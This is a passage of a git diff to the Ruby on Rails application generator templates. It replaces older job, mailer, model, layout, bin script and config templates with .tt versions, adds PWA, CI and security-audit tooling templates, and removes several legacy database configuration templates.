--- a/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ApplicationJob < ActiveJob::Base
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb.tt
new file mode 100644
index 0000000000000..d394c3d106230
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/jobs/application_job.rb.tt
@@ -0,0 +1,7 @@
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb
deleted file mode 100644
index 286b2239d1399..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class ApplicationMailer < ActionMailer::Base
-  default from: 'from@example.com'
-  layout 'mailer'
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb.tt
new file mode 100644
index 0000000000000..3c34c8148f105
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/mailers/application_mailer.rb.tt
@@ -0,0 +1,4 @@
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout "mailer"
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb
deleted file mode 100644
index 10a4cba84df37..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ApplicationRecord < ActiveRecord::Base
-  self.abstract_class = true
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb.tt
new file mode 100644
index 0000000000000..b63caeb8a5c4a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/models/application_record.rb.tt
@@ -0,0 +1,3 @@
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index 5460155b3e49c..1a7e3df67227a 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -1,19 +1,30 @@
 <!DOCTYPE html>
 <html>
   <head>
-    <title><%= camelized %></title>
+    <title><%%= content_for(:title) || "<%= app_name.titleize %>" %></title>
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <meta name="apple-mobile-web-app-capable" content="yes">
+    <meta name="application-name" content="<%= app_name.titleize %>">
+    <meta name="mobile-web-app-capable" content="yes">
     <%%= csrf_meta_tags %>
+    <%%= csp_meta_tag %>
 
-    <%- if options[:skip_javascript] -%>
-    <%%= stylesheet_link_tag    'application', media: 'all' %>
+    <%%= yield :head %>
+
+    <%%# Enable PWA manifest for installable apps (make sure to enable in config/routes.rb too!) %>
+    <%%#= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
+
+    <link rel="icon" href="/icon.png" type="image/png">
+    <link rel="icon" href="/icon.svg" type="image/svg+xml">
+    <link rel="apple-touch-icon" href="/icon.png">
+
+    <%- style_link_target = using_css_bundling? ? "\"application\"" : ":app" -%>
+    <%- if options[:skip_hotwire] || options[:skip_javascript] -%>
+    <%%# Includes all stylesheet files in app/assets/stylesheets %>
+    <%%= stylesheet_link_tag <%= style_link_target %> %>
     <%- else -%>
-      <%- unless options[:skip_turbolinks] -%>
-    <%%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track': 'reload' %>
-    <%%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %>
-      <%- else -%>
-    <%%= stylesheet_link_tag    'application', media: 'all' %>
-    <%%= javascript_include_tag 'application' %>
-      <%- end -%>
+    <%%# Includes all stylesheet files in app/assets/stylesheets %>
+    <%%= stylesheet_link_tag <%= style_link_target %>, "data-turbo-track": "reload" %>
     <%- end -%>
   </head>
 
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt
index 55f3675d49420..116e625bf1ec3 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/mailer.html.erb.tt
@@ -1,7 +1,7 @@
 <!DOCTYPE html>
 <html>
   <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
     <style>
       /* Email styles need to be inline */
     </style>
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/pwa/manifest.json.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/pwa/manifest.json.erb.tt
new file mode 100644
index 0000000000000..4930a9d3ee662
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/pwa/manifest.json.erb.tt
@@ -0,0 +1,22 @@
+{
+  "name": "<%= camelized %>",
+  "icons": [
+    {
+      "src": "/icon.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    },
+    {
+      "src": "/icon.png",
+      "type": "image/png",
+      "sizes": "512x512",
+      "purpose": "maskable"
+    }
+  ],
+  "start_url": "/",
+  "display": "standalone",
+  "scope": "/",
+  "description": "<%= camelized %>.",
+  "theme_color": "red",
+  "background_color": "red"
+}
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/pwa/service-worker.js b/railties/lib/rails/generators/rails/app/templates/app/views/pwa/service-worker.js
new file mode 100644
index 0000000000000..b3a13fb7bbbf2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/pwa/service-worker.js
@@ -0,0 +1,26 @@
+// Add a service worker for processing Web Push notifications:
+//
+// self.addEventListener("push", async (event) => {
+//   const { title, options } = await event.data.json()
+//   event.waitUntil(self.registration.showNotification(title, options))
+// })
+//
+// self.addEventListener("notificationclick", function(event) {
+//   event.notification.close()
+//   event.waitUntil(
+//     clients.matchAll({ type: "window" }).then((clientList) => {
+//       for (let i = 0; i < clientList.length; i++) {
+//         let client = clientList[i]
+//         let clientPath = (new URL(client.url)).pathname
+//
+//         if (clientPath == event.notification.data.path && "focus" in client) {
+//           return client.focus()
+//         }
+//       }
+//
+//       if (clients.openWindow) {
+//         return clients.openWindow(event.notification.data.path)
+//       }
+//     })
+//   )
+// })
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/brakeman.tt b/railties/lib/rails/generators/rails/app/templates/bin/brakeman.tt
new file mode 100644
index 0000000000000..60b374b285af3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/brakeman.tt
@@ -0,0 +1,6 @@
+require "rubygems"
+require "bundler/setup"
+
+ARGV.unshift("--ensure-latest")
+
+load Gem.bin_path("brakeman", "brakeman")
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/bundle b/railties/lib/rails/generators/rails/app/templates/bin/bundle
deleted file mode 100644
index 1123dcf501a4d..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/bin/bundle
+++ /dev/null
@@ -1,2 +0,0 @@
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-load Gem.bin_path('bundler', 'bundle')
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/bundler-audit.tt b/railties/lib/rails/generators/rails/app/templates/bin/bundler-audit.tt
new file mode 100644
index 0000000000000..154f659713b18
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/bundler-audit.tt
@@ -0,0 +1,5 @@
+require_relative "../config/boot"
+require "bundler/audit/cli"
+
+ARGV.concat %w[ --update --config config/bundler-audit.yml ] if ARGV.empty? || ARGV.include?("check")
+Bundler::Audit::CLI.start
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/ci.tt b/railties/lib/rails/generators/rails/app/templates/bin/ci.tt
new file mode 100644
index 0000000000000..e3842a2de8e12
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/ci.tt
@@ -0,0 +1,5 @@
+require_relative "../config/boot"
+require "active_support/continuous_integration"
+
+CI = ActiveSupport::ContinuousIntegration
+require_relative "../config/ci.rb"
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/dev.tt b/railties/lib/rails/generators/rails/app/templates/bin/dev.tt
new file mode 100644
index 0000000000000..89df11bc7ead3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/dev.tt
@@ -0,0 +1 @@
+exec "./bin/rails", "server", *ARGV
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails b/railties/lib/rails/generators/rails/app/templates/bin/rails
deleted file mode 100644
index 513a2e0183ce5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/bin/rails
+++ /dev/null
@@ -1,3 +0,0 @@
-APP_PATH = File.expand_path('../config/application', __dir__)
-require_relative '../config/boot'
-require 'rails/commands'
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rails.tt b/railties/lib/rails/generators/rails/app/templates/bin/rails.tt
new file mode 100644
index 0000000000000..fa0361e8af8e4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rails.tt
@@ -0,0 +1,3 @@
+APP_PATH = File.expand_path("../config/application", __dir__)
+require_relative "../config/boot"
+require "rails/commands"
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rake b/railties/lib/rails/generators/rails/app/templates/bin/rake
deleted file mode 100644
index d14fc8395bcfc..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/bin/rake
+++ /dev/null
@@ -1,3 +0,0 @@
-require_relative '../config/boot'
-require 'rake'
-Rake.application.run
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rake.tt b/railties/lib/rails/generators/rails/app/templates/bin/rake.tt
new file mode 100644
index 0000000000000..aaf0552684d40
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rake.tt
@@ -0,0 +1,3 @@
+require_relative "../config/boot"
+require "rake"
+Rake.application.run
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/rubocop.tt b/railties/lib/rails/generators/rails/app/templates/bin/rubocop.tt
new file mode 100644
index 0000000000000..039b6e421e78e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/rubocop.tt
@@ -0,0 +1,4 @@
+require "rubygems"
+require "bundler/setup"
+
+load Gem.bin_path("rubocop", "rubocop")
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/setup.tt b/railties/lib/rails/generators/rails/app/templates/bin/setup.tt
index c6607dbb2b669..1539b936d80ba 100644
--- a/railties/lib/rails/generators/rails/app/templates/bin/setup.tt
+++ b/railties/lib/rails/generators/rails/app/templates/bin/setup.tt
@@ -1,39 +1,45 @@
-require 'pathname'
-require 'fileutils'
-include FileUtils
+require "fileutils"
 
-# path to your application root.
-APP_ROOT = Pathname.new File.expand_path('../../', __FILE__)
+APP_ROOT = File.expand_path("..", __dir__)
 
 def system!(*args)
-  system(*args) || abort("\n== Command #{args} failed ==")
+  system(*args, exception: true)
 end
 
-chdir APP_ROOT do
-  # This script is a starting point to setup your application.
+FileUtils.chdir APP_ROOT do
+  # This script is a way to set up or update your development environment automatically.
+  # This script is idempotent, so that you can run it at any time and get an expectable outcome.
   # Add necessary setup steps to this file.
 
-  puts '== Installing dependencies =='
-  system! 'gem install bundler --conservative'
-  system('bundle check') || system!('bundle install')
-<% unless options[:skip_yarn] %>
-  # Install JavaScript dependencies if using Yarn
-  # system('bin/yarn')
+  puts "== Installing dependencies =="
+  system("bundle check") || system!("bundle install")
+<% if using_node? -%>
+
+  # Install JavaScript dependencies
+  system("yarn install --check-files")
+<% elsif using_bun? -%>
+
+  # Install JavaScript dependencies
+  system!("bun install")
+<% end -%>
+<% unless options.skip_active_record? -%>
 
-<% end %>
-<% unless options.skip_active_record -%>
   # puts "\n== Copying sample files =="
-  # unless File.exist?('config/database.yml')
-  #   cp 'config/database.yml.sample', 'config/database.yml'
+  # unless File.exist?("config/database.yml")
+  #   FileUtils.cp "config/database.yml.sample", "config/database.yml"
   # end
 
   puts "\n== Preparing database =="
-  system! 'bin/rails db:setup'
+  system! "bin/rails db:prepare"
+  system! "bin/rails db:reset" if ARGV.include?("--reset")
 <% end -%>
 
   puts "\n== Removing old logs and tempfiles =="
-  system! 'bin/rails log:clear tmp:clear'
+  system! "bin/rails log:clear tmp:clear"
 
-  puts "\n== Restarting application server =="
-  system! 'bin/rails restart'
+  unless ARGV.include?("--skip-server")
+    puts "\n== Starting development server =="
+    STDOUT.flush # flush the output before exec(2) so that it displays
+    exec "bin/dev"
+  end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/thrust.tt b/railties/lib/rails/generators/rails/app/templates/bin/thrust.tt
new file mode 100644
index 0000000000000..da9e4c9ce0555
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/bin/thrust.tt
@@ -0,0 +1,4 @@
+require "rubygems"
+require "bundler/setup"
+
+load Gem.bin_path("thruster", "thrust")
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/update.tt b/railties/lib/rails/generators/rails/app/templates/bin/update.tt
deleted file mode 100644
index d23af018c7a01..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/bin/update.tt
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'pathname'
-require 'fileutils'
-include FileUtils
-
-# path to your application root.
-APP_ROOT = Pathname.new File.expand_path('../../', __FILE__)
-
-def system!(*args)
-  system(*args) || abort("\n== Command #{args} failed ==")
-end
-
-chdir APP_ROOT do
-  # This script is a way to update your development environment automatically.
-  # Add necessary update steps to this file.
-
-  puts '== Installing dependencies =='
-  system! 'gem install bundler --conservative'
-  system('bundle check') || system!('bundle install')
-<% unless options.skip_active_record -%>
-  puts "\n== Updating database =="
-  system! 'bin/rails db:migrate'
-<% end -%>
-
-  puts "\n== Removing old logs and tempfiles =="
-  system! 'bin/rails log:clear tmp:clear'
-
-  puts "\n== Restarting application server =="
-  system! 'bin/rails restart'
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/bin/yarn b/railties/lib/rails/generators/rails/app/templates/bin/yarn
deleted file mode 100644
index 872438cecb7da..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/bin/yarn
+++ /dev/null
@@ -1,9 +0,0 @@
-VENDOR_PATH = File.expand_path('../vendor', __dir__)
-Dir.chdir(VENDOR_PATH) do
-  begin
-    exec "yarnpkg #{ARGV.join(" ")}"
-  rescue Errno::ENOENT
-    puts "Yarn executable was not detected in the system."
-    puts "Download Yarn at https://yarnpkg.com/en/docs/install"
-  end
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru b/railties/lib/rails/generators/rails/app/templates/config.ru
deleted file mode 100644
index f7ba0b527b16a..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config.ru
+++ /dev/null
@@ -1,5 +0,0 @@
-# This file is used by Rack-based servers to start the application.
-
-require_relative 'config/environment'
-
-run Rails.application
diff --git a/railties/lib/rails/generators/rails/app/templates/config.ru.tt b/railties/lib/rails/generators/rails/app/templates/config.ru.tt
new file mode 100644
index 0000000000000..4a3c09a6889a9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config.ru.tt
@@ -0,0 +1,6 @@
+# This file is used by Rack-based servers to start the application.
+
+require_relative "config/environment"
+
+run Rails.application
+Rails.application.load_server
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
deleted file mode 100644
index c0a0bd0a3e9d6..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require_relative 'boot'
-
-<% if include_all_railties? -%>
-require 'rails/all'
-<% else -%>
-require "rails"
-# Pick the frameworks you want:
-require "active_model/railtie"
-require "active_job/railtie"
-<%= comment_if :skip_active_record %>require "active_record/railtie"
-require "action_controller/railtie"
-<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
-require "action_view/railtie"
-<%= comment_if :skip_action_cable %>require "action_cable/engine"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<%= comment_if :skip_test %>require "rails/test_unit/railtie"
-<% end -%>
-
-# Require the gems listed in Gemfile, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(*Rails.groups)
-
-module <%= app_const_base %>
-  class Application < Rails::Application
-    # Settings in config/environments/* take precedence over those specified here.
-    # Application configuration should go into files in config/initializers
-    # -- all .rb files in that directory are automatically loaded.
-<%- if options[:api] -%>
-
-    # Only loads a smaller set of middleware suitable for API only apps.
-    # Middleware like session, flash, cookies can be added back manually.
-    # Skip views, helpers and assets when generating a new resource.
-    config.api_only = true
-<%- end -%>
-  end
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/application.rb.tt
new file mode 100644
index 0000000000000..e0eda6e324428
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb.tt
@@ -0,0 +1,42 @@
+require_relative "boot"
+
+<%= rails_require_statement %>
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+module <%= app_const_base %>
+  class Application < Rails::Application
+<%- if !options.dummy_app? -%>
+    # Initialize configuration defaults for originally generated Rails version.
+    config.load_defaults <%= build(:config_target_version) %>
+<%- else -%>
+    config.load_defaults Rails::VERSION::STRING.to_f
+<%- end -%>
+
+    # Please, add to the `ignore` list any other `lib` subdirectories that do
+    # not contain `.rb` files, or that should not be reloaded or eager loaded.
+    # Common ones are `templates`, `generators`, or `middleware`, for example.
+    config.autoload_lib(ignore: %w[assets tasks])
+
+    # Configuration for the application, engines, and railties goes here.
+    #
+    # These settings can be overridden in specific environments using the files
+    # in config/environments, which are processed later.
+    #
+    # config.time_zone = "Central Time (US & Canada)"
+    # config.eager_load_paths << Rails.root.join("extras")
+<%- if options.api? -%>
+
+    # Only loads a smaller set of middleware suitable for API only apps.
+    # Middleware like session, flash, cookies can be added back manually.
+    # Skip views, helpers and assets when generating a new resource.
+    config.api_only = true
+<%- elsif !depends_on_system_test? -%>
+
+    # Don't generate system test files.
+    config.generators.system_tests = nil
+<%- end -%>
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
deleted file mode 100644
index 30f5120df6986..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
-
-require 'bundler/setup' # Set up gems listed in the Gemfile.
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/boot.rb.tt
new file mode 100644
index 0000000000000..9e4ad8dbdeb0d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb.tt
@@ -0,0 +1,6 @@
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../Gemfile", __dir__)
+
+require "bundler/setup" # Set up gems listed in the Gemfile.
+<% if depend_on_bootsnap? -%>
+require "bootsnap/setup" # Speed up boot time by caching expensive operations.
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/bundler-audit.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/bundler-audit.yml.tt
new file mode 100644
index 0000000000000..e74b3af9492e9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/bundler-audit.yml.tt
@@ -0,0 +1,5 @@
+# Audit all gems listed in the Gemfile for known security problems by running bin/bundler-audit.
+# CVEs that are not relevant to the application can be enumerated on the ignore list below.
+
+ignore:
+  - CVE-THAT-DOES-NOT-APPLY
diff --git a/railties/lib/rails/generators/rails/app/templates/config/cable.yml b/railties/lib/rails/generators/rails/app/templates/config/cable.yml
deleted file mode 100644
index 1da4913082929..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/cable.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-development:
-  adapter: async
-
-test:
-  adapter: async
-
-production:
-  adapter: redis
-  url: redis://localhost:6379/1
-  channel_prefix: <%= app_name %>_production
diff --git a/railties/lib/rails/generators/rails/app/templates/config/cable.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/cable.yml.tt
new file mode 100644
index 0000000000000..f69dc91b92841
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/cable.yml.tt
@@ -0,0 +1,10 @@
+development:
+  adapter: async
+
+test:
+  adapter: test
+
+production:
+  adapter: redis
+  url: <%%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
+  channel_prefix: <%= app_name %>_production
diff --git a/railties/lib/rails/generators/rails/app/templates/config/ci.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/ci.rb.tt
new file mode 100644
index 0000000000000..041927e35c09e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/ci.rb.tt
@@ -0,0 +1,40 @@
+# Run using bin/ci
+
+CI.run do
+  step "Setup", "bin/setup --skip-server"
+<% unless options.skip_rubocop? %>
+  step "Style: Ruby", "bin/rubocop"
+<% end -%>
+
+<% unless options.skip_bundler_audit? -%>
+  step "Security: Gem audit", "bin/bundler-audit"
+<% end -%>
+<% if using_node? -%>
+  step "Security: Yarn vulnerability audit", "yarn audit"
+<% end -%>
+<% if using_importmap? -%>
+  step "Security: Importmap vulnerability audit", "bin/importmap audit"
+<% end -%>
+<% unless options.skip_brakeman? -%>
+  step "Security: Brakeman code analysis", "bin/brakeman --quiet --no-pager --exit-on-warn --exit-on-error"
+<% end -%>
+<% unless options[:skip_test] -%>
+<% if options[:api] || options[:skip_system_test] -%>
+  step "Tests: Rails", "bin/rails test"
+<% else %>
+  step "Tests: Rails", "bin/rails test"
+  step "Tests: System", "bin/rails test:system"
+<% end -%>
+<% unless options.skip_active_record? -%>
+  step "Tests: Seeds", "env RAILS_ENV=test bin/rails db:seed:replant"
+<% end -%>
+<% end -%>
+
+  # Optional: set a green GitHub commit status to unblock PR merge.
+  # Requires the `gh` CLI and `gh extension install basecamp/gh-signoff`.
+  # if success?
+  #   step "Signoff: All systems go. Ready for merge and deploy.", "gh signoff"
+  # else
+  #   failure "Signoff: CI failed. Do not merge or deploy.", "Fix the issues and try again."
+  # end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
deleted file mode 100644
index 917b52e5350fb..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ /dev/null
@@ -1,50 +0,0 @@
-# FrontBase versions 4.x
-#
-# Get the bindings:
-#   gem install ruby-frontbase
-#
-# Configure Using Gemfile
-# gem 'ruby-frontbase'
-#
-default: &default
-  adapter: frontbase
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  host: localhost
-  username: <%= app_name %>
-  password: ''
-
-development:
-  <<: *default
-  database: <%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
deleted file mode 100644
index d40117a27f4e3..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ /dev/null
@@ -1,86 +0,0 @@
-# IBM Dataservers
-#
-# Home Page
-#   https://github.com/dparnell/ibm_db
-#
-# To install the ibm_db gem:
-#
-#   On Linux:
-#       . /home/db2inst1/sqllib/db2profile
-#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
-#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
-#       gem install ibm_db
-#
-#   On Mac OS X 10.5:
-#       . /home/db2inst1/sqllib/db2profile
-#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
-#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib32
-#       export ARCHFLAGS="-arch i386"
-#       gem install ibm_db
-#
-#   On Mac OS X 10.6:
-#       . /home/db2inst1/sqllib/db2profile
-#       export IBM_DB_INCLUDE=/opt/ibm/db2/V9.7/include
-#       export IBM_DB_LIB=/opt/ibm/db2/V9.7/lib64
-#       export ARCHFLAGS="-arch x86_64"
-#       gem install ibm_db
-#
-#   On Windows:
-#       Issue the command: gem install ibm_db
-#
-# Configure Using Gemfile
-# gem 'ibm_db'
-#
-#
-default: &default
-  adapter: ibm_db
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  username: db2inst1
-  password:
-  #schema: db2inst1
-  #host: localhost
-  #port: 50000
-  #account: my_account
-  #app_user: my_app_user
-  #application: my_application
-  #workstation: my_workstation
-  #security: SSL
-  #timeout: 10
-  #authentication: SERVER
-  #parameterized: false
-
-development:
-  <<: *default
-  database: <%= app_name[0,4] %>_dev
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  database: <%= app_name[0,4] %>_tst
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-# On Heroku and other platform providers, you may have a full connection URL
-# available as an environment variable. For example:
-#
-#   DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
-#
-# You can use this database configuration with:
-#
-#   production:
-#     url: <%%= ENV['DATABASE_URL'] %>
-#
-production:
-  <<: *default
-  database: <%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
deleted file mode 100644
index 563be777107e5..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ /dev/null
@@ -1,69 +0,0 @@
-# If you are using mssql, derby, hsqldb, or h2 with one of the
-# ActiveRecord JDBC adapters, install the appropriate driver, e.g.,:
-#   gem install activerecord-jdbcmssql-adapter
-#
-# Configure using Gemfile:
-#   gem 'activerecord-jdbcmssql-adapter'
-#
-# development:
-#   adapter: mssql
-#   username: <%= app_name %>
-#   password:
-#   host: localhost
-#   database: <%= app_name %>_development
-#
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-#
-# test:
-#   adapter: mssql
-#   username: <%= app_name %>
-#   password:
-#   host: localhost
-#   database: <%= app_name %>_test
-#
-# production:
-#   adapter: mssql
-#   username: <%= app_name %>
-#   password:
-#   host: localhost
-#   database: <%= app_name %>_production
-
-# If you are using oracle, db2, sybase, informix or prefer to use the plain
-# JDBC adapter, configure your database setting as the example below (requires
-# you to download and manually install the database vendor's JDBC driver .jar
-# file). See your driver documentation for the appropriate driver class and
-# connection string:
-
-default: &default
-  adapter: jdbc
-  pool: <%%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
-  username: <%= app_name %>
-  password:
-  driver:
-
-development:
-  <<: *default
-  url: jdbc:db://localhost/<%= app_name %>_development
-
-# Warning: The database defined as "test" will be erased and
-# re-generated from your development database when you run "rake".
-# Do not set this db to the same as development or production.
-test:
-  <<: *default
-  url: jdbc:db://localhost/<%= app_name %>_test
-
-# As with config/secrets.yml, you never want to store sensitive information,
-# like your database password, in your source code. If your source code is
-# ever seen by anyone, they now have access to your database.
-#
-# Instead, provide the password as a unix environment variable when you boot
-# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
-# for a full rundown on how to provide these environment variables in a
-# production deployment.
-#
-production:
-  url: jdbc:db://localhost/<%= app_name %>_production
-  username: <%= app_name %>
-  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
deleted file mode 100644
index 8bc8735a8e4ba..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ /dev/null
@@ -1,53 +0,0 @@
